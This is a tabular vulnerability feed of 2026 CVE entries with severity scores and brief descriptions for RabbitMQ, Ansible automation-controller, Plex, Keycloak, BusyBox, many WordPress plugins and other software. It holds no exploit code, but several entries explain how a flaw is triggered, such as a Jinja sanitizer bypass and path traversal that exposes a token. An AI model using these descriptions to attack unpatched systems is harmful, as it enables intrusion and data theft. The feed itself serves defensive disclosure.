CVE-2026-67238	New	7.1	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, rabbit_pid_codec:decompose_from_binary/1 parses a caller-supplied ETF-encoded binary and calls binary_to_atom(Node, utf8) on the node-name field. It is reached from rabbit_volatile_queue:pid_from_name/2, which is invoked for any queue name / routing key beginning amq.rabbitmq.reply-to.. The Cand...
CVE-2026-82406	New	7.1	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBid...
CVE-2026-84714	New	7.1	HIGH				A flaw was found in the automation-controller input-validation guard sanitize_jinja(). The function uses two regular expressions to reject user-supplied Jinja, but the patterns stop at the first interior '}' or '%' character, so a Jinja expression containing an inner brace (for example an empty ...
CVE-2026-84789	New	7.1	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Broken Access Control vulnerability that allowed an authenticated low-privilege user to create alert notifications for firewalls outside their assigned scope.
CVE-2026-84791	New	7.1	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Broken Access Control vulnerability that allowed an authenticated low-privilege user to modify Change Management report schedule configurations for firewalls outside their assigned scope.
CVE-2026-86679	New	7.1	HIGH				ZohoCorp ManageEngine Applications Manager versions 182000 and below were vulnerable to a permissions validation issue that allowed a low-privileged user to delete service monitors outside their assigned scope.
CVE-2026-93526	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Event Tickets <= 5.29.4 versions.
CVE-2026-93622	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in WPS Limit Login <= 1.5.9.3 versions.
CVE-2026-93774	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in WP Photo Album Plus <= 9.3.02.002 versions.
CVE-2026-94176	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Mang Board WP <= 2.4.1 versions.
CVE-2026-94179	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Razorpay Payment Button <= 2.4.9 versions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95515	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Ninja Forms <= 3.15.3 versions.
CVE-2026-95528	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Core Web Vitals & PageSpeed Booster <= 1.0.31 versions.
CVE-2026-95529	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Calculated Fields Form <= 5.5.1.1 versions.
CVE-2026-95590	New	7.1	HIGH				Subscriber SQL Injection in Tainacan <= 1.2.0 versions.
CVE-2026-96609	New	7.1	HIGH				Robur Albatross 1.0.0 through 2.x before 2.7.2 does not limit use of the ring buffer, leading to an albatross-console loop with no recognized termination condition. This is only exploitable by users who can send console subscription commands to unikernels that produce sufficient log output to fill the ring buffer (1024 lines). It is not exploitable by unauthorized clients.
CVE-2026-96651	New	7.1	HIGH				Plex Media Server before 1.43.3.10861 builds a file path from the url parameter without checking it for ../ sequences, allowing path traversal via '/system/agents/media/get'. A remote attacker with a valid session token could read any file that the target user can access. This access includes the PlexOnlineToken, which grants control of the Plex account and server. A LAN-adj...
CVE-2026-82407	New	7.0	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, core/kapp/validators/validators.go Register and the runtime validator update path accept a submitted BLSPublicKey without curve, prime-order subgroup, or nonzero validation. When a validator with a malformed key becomes eligible and is selected into a consensus group, MultiSigner.Reset and...
CVE-2026-96600	New	7.0	HIGH				Isotope eCommerce through 2.9.10 contains a blind SQL injection vulnerability in backend callbacks that interpolate request-controlled identifiers and administrator-supplied values directly into SQL statements. Authenticated Contao backend users with Isotope module permissions can exploit conditional and time-based injection payloads to extract arbitrary database contents in...
CVE-2026-67228	New	6.9	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, The runtime-parameters lookup path coerces the URL :component segment to an atom with rabbit_data_coercion:to_atom/1 in lookup_component/1 (deps/rabbit/src/rabbit_runtime_parameters.erl), creating a new atom for any previously unseen value. A safe helper, rabbit_registry:binary_to_type/1, which ...
CVE-2026-67229	New	6.9	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, add_vhost/2 calls rabbit_data_coercion:atomize_keys/1 (the unsafe variant using binary_to_atom) on the vhost metadata map. The 20 MB management body limit fits ~1M+ short keys. Admin-only. An administrator importing a crafted definitions file can crash the node in a sin...
CVE-2026-92284	New	6.9	MEDI				Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92692	New	6.9	MEDI			composer:sulu/sulu	Sulu is an open-source PHP content management system based on the Symfony framework. Prior to 2.6.25 and 3.0.8, the affected Sulu 2.6 and 3.0 release lines have a Smart Content QueryBuilder in src/Sulu/Component/Content/SmartContent/QueryBuilder.php that concatenates category identifiers from the public categories query parameter into a JCR-SQL2 WHERE clause without numeric ...
CVE-2026-96611	New	6.9	MEDI				FFmpeg before 9.0 has a signed integer overflow in libavformat/mov.c. In mov_read_ispe(), uint32_t width/height values from a crafted HEIF ispe box are stored into signed int fields without bounds checking, allowing values exceeding INT_MAX to become negative. In read_image_grid(), accumulating these values causes signed integer overflow (undefined behavior per C17 section 6...
CVE-2026-96654	New	6.9	MEDI				Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
CVE-2025-15696	New	6.8	MEDI		0.002		The Real3D Flipbook WordPress plugin before 5.4 does not sanitize or escape several flipbook editor fields before rendering them back in the admin editor, allowing users with the Author role and above to inject arbitrary web scripts that execute in the browser of any user who later opens the affected flipbook for editing, including administrators.
CVE-2026-61413	New	6.8	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Privilege Management vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
CVE-2026-73587	New	6.8	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, and Protection mechanism bypass.
CVE-2026-85006	New	6.8	MEDI		0.002		The HappyAddons for Elementor WordPress plugin before 3.50.0 does not escape an icon value on one of its button widgets before outputting it inside an HTML attribute, allowing users with Contributor-level access and above to inject event-handler attributes that execute JavaScript in the browser of anyone who views the page, including higher-privileged users reviewing the co...
CVE-2026-86842	New	6.8	MEDI		0.002		The Real3D Flipbook WordPress plugin before 5.4 does not perform capability checks on several of its authenticated flipbook management actions, allowing users with Author-level access and above to delete other users' flipbook content and overwrite administrator-only global settings, which can be leveraged to store JavaScript that executes in the context of any visitor or ad...
CVE-2026-88997	New	6.8	MEDI		0.002		The JSM Show Post Metadata WordPress plugin before 4.9.1 does not properly escape a post meta key before outputting it into an inline event-handler attribute in an admin-facing meta box, allowing users with contributor-level access and above to inject arbitrary JavaScript that executes in the session of a higher-privileged user who reviews the affected post.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91024	New	6.8	MEDI		0.002		The Booking Manager WordPress plugin before 2.1.21 does not sanitize and escape values taken from a fetched external iCalendar feed before using them in a SQL query, allowing authenticated users with Author-level access and above to perform SQL injection attacks by importing a feed they control.
CVE-2026-91073	New	6.8	MEDI		0.002		The Subscribe Forms WordPress plugin before 1.6.3 does not sanitise and escape one of its form settings before outputting it in a page, allowing authenticated users with the Author role and above to perform Stored Cross-Site Scripting attacks that execute in the browser of any visitor who views a page embedding the form, including logged-out visitors and administrators.
CVE-2026-96445	New	6.8	MEDI				A flaw was found in the Conditional OTP authenticator of Keycloak, an identity and access management solution. The issue occurs when the system evaluates specific HTTP headers to determine if a one-time password (OTP) should be skipped, but fails to verify if those headers came from a trusted source. This could allow an attacker who already has a user's password to bypass th...
CVE-2026-97056	New	6.8	MEDI				SigNoz versions from v0.98.0 up to (but not including) v0.143.0, when configured to use the opaque session tokenizer (which was not the default before v0.143.0), do not revoke a user's existing login sessions when the user's password is reset with a reset token (UpdatePasswordByResetPasswordToken, reachable via POST /api/v2/factor_password/reset) or when the user is deleted ...
CVE-2026-88839	New	6.7	MEDI				BusyBox passwd/group tokenize() references a stale endpoint pointer after trimming, causing an out-of-bounds write of heap pointers.
CVE-2026-84716	New	6.6	MEDI				A flaw was found in the automation-controller instance install-bundle endpoint. When a System Administrator downloads an execution/hop node's install bundle, the controller signs an X.509 certificate with the receptor mesh certificate authority in which the Common Name, DNS subject-alternative-name, and ...
CVE-2026-84724	New	6.6	MEDI				An argument-injection flaw was found in the Ansible Automation Platform automation-controller system-job subsystem. The system-job template launch endpoint stores a user-supplied "days" variable without running the integer validation defined elsewhere for that field, and the dispatcher flattens the management-command argument list into a single string with spaces before the ...
CVE-2026-16264	New	6.5	MEDI		0.002		The Newsletters WordPress plugin before 4.18.1 does not perform an ownership check on some of its subscriber management actions, and issues a management session to unauthenticated visitors on request, allowing attackers to read any subscriber's personal data and overwrite any subscriber's record including their email address.
CVE-2026-18179	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to clear active chat sessions due to improper authorization.
CVE-2026-18180	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to SQL injection.
CVE-2026-6831	New	6.5	MEDI		0.004		The Advanced Contact form 7 DB plugin for WordPress is vulnerable to missing authorization in all versions up to, and including, 2.0.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Contributor-level access and above, to read all Contact Form 7 submission data via the ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73581	New	6.5	MEDI				Improper Check for Certificate Revocation vulnerability in Apache Tomcat. Both the OpenSSL and OpenSSL-FFM TLS implementations ignore CRLs when certificate uses a keystore. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.58, from 9.0.0-M1 through 9.0.121. The following versions were EOL at the time the CVE was created but a...
CVE-2026-77112	New	6.5	MEDI				Server-Side request forgery (SSRF) vulnerability in Global IT Informatics Technology Services Inc. Weoll allows Server Side Request Forgery. This issue affects Weoll: before 3.2.45.44.
CVE-2026-77421	New	6.5	MEDI			maven.org:jline:jline-builtins	JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in nano editor's regex search mode passes a user-controlled search term from doSearch(String text) in builtins/src/main/java/org/jline/builtins/Nano.java to Java's backtracking regular expression engine without a timeout or backtracking bound. A nested-quantifier expressio...
CVE-2026-79304	New	6.5	MEDI				CyberPanel 1.9.1 contains a path traversal vulnerability in the readFileContents method of the /filemanager/controller endpoint. An authenticated remote attacker with ownership of any configured domain can supply an arbitrary absolute or out-of-scope path in the fileName JSON property. Because authorization validates only domainName and does not canonicalize or restrict file...
CVE-2026-79306	New	6.5	MEDI				CyberPanel v1.9.1 contains a path traversal vulnerability in the compress method exposed through the /filemanager/controller endpoint. An authenticated remote attacker with ownership of any configured domain can supply absolute or otherwise out-of-scope file paths in the listOfFiles JSON property, together with attacker-controlled basePath and compressedFileName values, in a...
CVE-2026-80342	New	6.5	MEDI		0.002		The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.27 does not verify that a PayPal order supplied in a payment request belongs to the WooCommerce order being paid unless that PayPal order has already been completed, allowing unauthenticated attackers to have another buyer's approved but uncaptured payment captured against an order of their own.
CVE-2026-84098	New	6.5	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not properly verify a listing's ownership before deleting it, allowing authenticated attackers with Subscriber-level access and above to delete arbitrary listings, including ones belonging to other users. This is an incomplete fix of CVE-2023-1889 / CVE-2023-35052: a...
CVE-2026-84713	New	6.5	MEDI				A flaw was found in the automation-controller notification subsystem. Although NotificationTemplate.notification_ configuration is protected from API filtering, its recipient value is copied in clear text into the unprotected Notification.recipients field on every send. Because the cred...
CVE-2026-84720	New	6.5	MEDI				A flaw was found in the Ansible Automation Platform automation-controller. The WorkflowJobNode.ancestor_artifacts database column, which stores the raw merged set_stats artifacts propagated between workflow nodes, is not wrapped in prevent_search() and is therefore accepted for arbitrary field lookups by the REST filter backend, even though it is omitted from the API seriali...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86601	New	6.5	MEDI				The WP Recipe Maker WordPress plugin before 10.8.2 does not remove shortcodes from comment content before expanding it while building a page's structured metadata, allowing unauthenticated users to have arbitrary shortcodes executed server side and to read the content of unpublished recipes.
CVE-2026-88837	New	6.5	MEDI				BusyBox httpd treats yescript (\$y\$) password hashes as plaintext during Basic Authentication, inverting the authentication check.
CVE-2026-92164	New	6.5	MEDI				Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, ...
CVE-2026-93529	New	6.5	MEDI				Contributor Broken Access Control in WSP MCP – AI Agents Connector <= 2.7.0 versions.
CVE-2026-93618	New	6.5	MEDI				Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock. Jetimpex Inc. JetTricks allows Stored XSS. This issue affects JetTricks: from n/a through 2.0.1.
CVE-2026-93620	New	6.5	MEDI				Unauthenticated Broken Access Control in PayPlus Payment Gateway <= 8.2.5 versions.
CVE-2026-93772	New	6.5	MEDI				Subscriber Cross Site Scripting (XSS) in wpForo Forum <= 3.1.5 versions.
CVE-2026-94118	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Premium Blocks – Gutenberg Blocks for WordPress <= 2.3.17 versions.
CVE-2026-94168	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Premium Addons for Elementor <= 4.11.105 versions.
CVE-2026-94251	New	6.5	MEDI		0.002		A vulnerability in Apache Sling Security Bundle: ContentDispositionFilter mediates only one address/API shape of a resource This issue affects Apache Sling Security Bundle: before 1.3.12. Users are recommended to upgrade to version 1.3.12, which fixes the issue.
CVE-2026-94391	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Ultimate FAQ <= 2.4.14 versions.
CVE-2026-94461	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Ditty <= 3.1.69 versions.
CVE-2026-94498	New	6.5	MEDI				Unauthenticated Broken Access Control in AppMySite <= 3.15.4 versions.
CVE-2026-94500	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in ElementsKit Elementor addons Lite <= 4.0.5 versions.
CVE-2026-94671	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in The Post Grid <= 7.9.5 versions.
CVE-2026-94680	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in The Post Grid <= 7.9.5 versions.
CVE-2026-94682	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Podcast Importer SecondLine <= 1.5.6 versions.
CVE-2026-94684	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Ocean Extra <= 2.6.1 versions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95523	New	6.5	MEDI				Subscriber Bypass Vulnerability in WP User Frontend <= 4.3.11 versions.
CVE-2026-95525	New	6.5	MEDI				Subscriber Arbitrary File Deletion in WP User Frontend <= 4.3.11 versions.
CVE-2026-95527	New	6.5	MEDI				Unauthenticated Broken Access Control in Conekta Payment Gateway <= 6.2.4 versions.
CVE-2026-95530	New	6.5	MEDI				Subscriber Cross Site Scripting (XSS) in PixelYourSite – Your smart PIXEL (TAG) Manager <= 11.4.1 versions.
CVE-2026-95586	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Ultimate Addons for Contact Form 7 <= 3.5.50 versions.
CVE-2026-95602	New	6.5	MEDI				Authorization Bypass Through User-Controlled Key vulnerability in YITH YITH WooCommerce Request A Quote allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects YITH WooCommerce Request A Quote: from n/a before 4.46.1.
CVE-2026-96443	New	6.5	MEDI		0.003		Insufficient validation of the JDBC driver URL in Apache Doris allows a privileged user to achieve remote code execution on the FE.
CVE-2026-97155	New	6.5	MEDI				Fabasoft Folio Client before 2026, a locally installed component that communicates with the Fabasoft browser extension via web messaging, does not restrict which web origins may invoke its functions by default. The registry value VALIDDOMAINS, which limits permitted origins, was optional and empty by default, resulting in all domains being trusted. As a consequence, any webs...
CVE-2026-5924	New	6.4	MEDI		0.003		The Getwid – Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Google Maps block's 'customStyle' attribute in all versions up to, and including, 2.1.3. This is due to the use of eval() on user-controlled block content in the frontend JavaScript mapStyles() function. This makes it possible for authenticated attackers, with Contributor...
CVE-2026-63000	New	6.4	MEDI			composer:redaxo/source	REDAXO is a PHP-based content management system. Prior to 5.21.2, rex_api_install_package_update in redaxo/src/addons/install/lib/api/api_package_update.php inherits the false default from rex_api_function::requiresCsrfProtection() instead of requiring a CSRF token. An unauthenticated attacker can cause a logged-in administrator's browser to request a selected package update...
CVE-2026-73586	New	6.4	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Insufficient Session Expiration vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to Elevation of privileges, Protection mechanism bypass, and Unauthorized access.
CVE-2026-84721	New	6.4	MEDI				A server-side request forgery flaw was found in the Ansible Automation Platform automation-controller email notification backend. The email backend passes the user-supplied SMTP host and port from a notification template directly to the SMTP client without validating that the target is not an internal, loopback, link-local, or reserved address. An authenticated user with org...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96672	New	6.4	MEDI				Frappe ERPNext versions before 16.34.1 fail to validate that Financial Report Template calculation_formula values reference whitelisted methods before passing them to frappe.call(). Accounts Managers can supply arbitrary dotted Python paths to invoke non-whitelisted internal server-side methods and read their return values.
CVE-2026-59980	New	6.3	MEDI				hpack is an HTTP/2 Header Encoding for Python. Prior to version 4.2.0, unbounded variable integer decoding can cause run-away computation on malformed input leading to O(n^2) runtime, effectively blocking further processing with large enough unsanitized input. A fix is available in python-hyper/hpack v4.2.0 to restricted variable integer decoding to uint32 to prevent run-awa...
CVE-2026-73589	New	6.3	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, Versions prior to 5.36, contains a Weak Encoding for Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, Protection mechanism bypass, and Unauthorized access.
CVE-2026-92700	New	6.3	MEDI				Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/filesserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.
CVE-2026-96456	New	6.3	MEDI				The Reachy Mini Bluetooth service asks a connecting device for a PIN before it will accept commands. The check protects the session but not the caller, so an attacker in Bluetooth range can ride along on someone else's successful authentication. The authenticated state is kept in a single shared flag on the service instance rather than per device. BlueZ passes the calling...
CVE-2026-96676	New	6.3	MEDI				A vulnerability was identified in Fast FAC1900R 20190827_2.0.2. The impacted element is the function get_alias_name of the component uhttpd. Such manipulation leads to stack-based buffer overflow. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-96678	New	6.3	MEDI				A security vulnerability has been detected in weiqingwen spring-boot-forum up to 538eccc3c6b85fdf0768ab4e8354b48c0c17d94f. Affected is the function validate of the file src/main/java/com/qingwenwei/util/NewUserFormValidator.java of the component Avatar Upload. The manipulation of the argument Username leads to path traversal. The attack can be initiated remotely. The exploit...
CVE-2026-96777	New	6.3	MEDI				A vulnerability was determined in Forma LMS up to 4.1.43. This impacts the function UserselectorAdmController::getDataTask of the file /appCore/ajax.adm_server.php?r=adm/userselector/getData of the component Multi-User-Selector AJAX Endpoint. This manipulation of the argument Name causes sql injection. The attack may be initiated remotely. The exploit has been publicly discl...
CVE-2026-96884	New	6.3	MEDI				A security flaw has been discovered in MantisZip up to 0.4.5. Affected by this issue is the function Path.Combine of the file MainWindow.UI.cs of the component Preview. The manipulation results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19267	New	6.2	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to missing authentication on the Business Rules Manager commands REST endpoint ('CommandsResource.java:31'). A local actor can invoke unauthenticated commands to cause resource exhaustionand halt business-rule management functions.
CVE-2026-6718	New	6.2	MEDI				IBM Concert 1.0.0 through 3.0.0 is vulnerable to improper access control which allows unauthorized modification of application files.
CVE-2026-50227	New	6.1	MEDI		0.003		An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software (versions up to and including 5.2.62). This allows the attacker to invoke exposed ddsc RPC functions, including child_process.execSync(), resulting in arbitrary command execution in the application context.
CVE-2026-50228	New	6.1	MEDI		0.002		An unauthenticated local attacker can connect to the Electron DevTools endpoint exposed by Acer NitroSense software (versions up to and including 5.2.63) on localhost TCP port 9993. Because Chromium remote debugging is enabled in the production application, the attacker can execute JavaScript in the privileged application context and achieve arbitrary code execution.
CVE-2026-73192	New	6.1	MEDI		0.002		An improper neutralization of input during web page generation ('Cross-site Scripting') [CWE-79] vulnerability when using the XSSAPI.getValidHref() in Apache Sling XSS version 2.4.10 and prior may allow an attacker to perform a reflected cross-site scripting (XSS) attack in every feature using this method. In order to successfully attack an application, the attacker needs to...
CVE-2026-88835	New	6.1	MEDI				BusyBox dpkg read_package_field() steps past a NUL terminator on malformed .deb packages, causing an out-of-bounds heap read.
CVE-2026-91796	New	6.1	MEDI		0.002		The interface of Foxit PDF Editor/Reader lacks the permission verification for secure reading mode, which allows specially crafted PDFs to trigger external SMB authentication without any security prompts and thereby leak the hash of the user's credentials.
CVE-2026-91807	New	6.1	MEDI		0.002		A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader's handling of malformed image soft-mask data. Insufficient validation of the soft-mask data attribute during image parsing may cause an arithmetic underflow, resulting in an out-of-bounds read and application crash.
CVE-2026-91808	New	6.1	MEDI		0.002		A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor Reader's handling of PDF image objects with inconsistent compression metadata. Insufficient validation during image decoding may result in an undersized buffer and an out-of-bounds read during rendering, causing an application crash.
CVE-2026-91810	New	6.1	MEDI		0.002		A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader's handling of malformed PDF image masks. Inconsistent image metadata may cause incorrect alpha-channel processing during rendering, resulting in an out-of-bounds read and application crash.
CVE-2026-91817	New	6.1	MEDI		0.002		A heap-based out-of-bounds read vulnerability exists in Foxit PDF Editor/Reader's handling of wide strings in embedded PDF JavaScript. Insufficient validation of string-deletion ranges can cause an integer underflow, resulting in an out-of-bounds read and application crash.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91852	New	6.1	MEDI		0.002		Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.
CVE-2026-91928	New	6.1	MEDI		0.002		Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.
CVE-2026-91999	New	6.1	MEDI		0.002		Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.
CVE-2026-92001	New	6.1	MEDI		0.002		Improper restriction of recursive entity references in DTDs ('XML entity expansion') vulnerability in Apache Sling XSS. This issue affects Apache Sling XSS: before 2.4.12. Users are recommended to upgrade to version 2.4.12, which fixes the issue.
CVE-2026-63131	New	6.0	MEDI				OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao's vault/policy/acl.go could evaluate a broader wildcard ACL grant before more-specific trailing-wildcard ACL paths with capabilities = ["deny"] for a LIST operation. When a parent path permitted LIST and a child path was denied, the trailing-slash lookup could therefore allow listing ...
CVE-2026-66067	New	6.0	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, The stream open handler calls only check_vhost_access; it omits the node/vhost/user connection-limit checks that rabbit_reader performs for AMQP. A developer %% FIXME comment at the cited line explicitly acknowledges the gap. No compensating enforcement exists in connection tracking or elsewhere...
CVE-2026-66072	New	6.0	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, get_chunk_selector/1 calls binary_to_atom on the raw client-supplied <<"chunk_selector">> property from post-auth subscribe and resolve_offset_spec frames, with no whitelist and no existing guard. An authenticated stream client with read access to any stream can crash t...
CVE-2026-66074	New	6.0	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, match_value/3 passes the user-supplied ?name= regular expression to re:run with no match_limit option, and executes it once per resource in the result set. OTP's default 10M match_limit caps each call at roughly 100-200ms, but the regex runs once per resource in the res...
CVE-2026-67219	New	6.0	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, add_binding/3 parses the routing key as an integer weight N and computes ring positions with lists:seq(NextN0, NextN0 + N - 1). validate_binding/2 only checks N >= 1 , no upper bound. The resulting list is stored in the exchange's Khepri record, replicated cluster-wide,...
CVE-2026-67220	New	6.0	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, 4.3.0, When a binding is created on an x-jms-topic exchange, add_binding/3 reads the rjms_erlang_selector argument and passes it through erl_scan:string/1 then erl_parse:parse_term/1. erl_scan:string/1 interns every atom literal it tokenizes. validate_binding/2 is a no-op (-> ok.)...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-5696	New	5.9	MEDI				Reflected Cross-Site Scripting (XSS) in Microweber. The vulnerability lies in the 'group' parameter of the '/admin/settings' endpoint in the administration panel. A successful exploit allows an attacker to trick an authenticated user into executing malicious JavaScript code in their browser. This enables the attacker to perform actions without the victim's consent, steal con...
CVE-2026-66080	New	5.9	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 4.1.11, 4.2.6, and 4.3.0, validate_partitions only checks that the requested partition count is at least 1, with no upper bound. A large count such as lists:seq(0, 500000000) allocates roughly 8GB. Preconditions include The rabbitmq_stream_management plugin must be enabled. The caller needs the management tag an...
CVE-2026-6669	New	5.9	MEDI				Missing upper bound on the key derivation iteration count accepted during SCRAM authentication to a backend server in PgBouncer through 1.25.2 allows a malicious or compromised PostgreSQL backend to cause uncontrolled CPU consumption in PgBouncer. The resulting key derivation cannot be interrupted in frontend builds such as PgBouncer. Because PgBouncer serves all clients fro...
CVE-2026-67221	New	5.9	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The AMQP 0-9-1 shovel calls amqp_uri:remove_credentials before storing its connection URI, but the AMQP 1.0 shovel stores the raw URI including the password. The stored URI is visible via GET /api/shovels and via rabbitmqctl shovel_status. Preconditions include The Shov...
CVE-2026-95625	New	5.9	MEDI		0.002		The Tauri updater plugin verifies update binaries using minisign signatures, but the signature covers only the raw binary bytes. The update manifest -- which contains the version number, download URL, and signature -- is fetched over TLS but is never itself signed or authenticated. Because the only anti-rollback check compares the manifest's version field against the current...
CVE-2026-66068	New	5.6	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, ?LOG_DEBUG("shutting down Shovel '~ts', ... Shovel state: ~tp", [Name, State]) formats the entire state map. The 'uris' field holds plaintext URIs after credentials_obfuscation:decrypt (called in rabbit_shovel_util:deobfuscated_uris/2). No format_status/1,2 callback exi...
CVE-2026-86612	New	5.6	MEDI				The Ninja Tables WordPress plugin before 5.2.17 does not restrict shortcode expansion to administrator-authored table rows which, in a non-default configuration, allows unauthenticated users to have arbitrary shortcodes executed on a public page, and to permanently break that page, by submitting an ordinary form entry.
CVE-2026-96548	New	5.6	MEDI				A flaw has been found in sfuring hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This affects an unknown part of the file ssm_pro/src/main/resources/jdbc.properties. This manipulation causes hard-coded credentials. It is possible to initiate the attack remotely. The attack's complexity is rated as high. It is indicated that the exploitability is difficult. The ex...
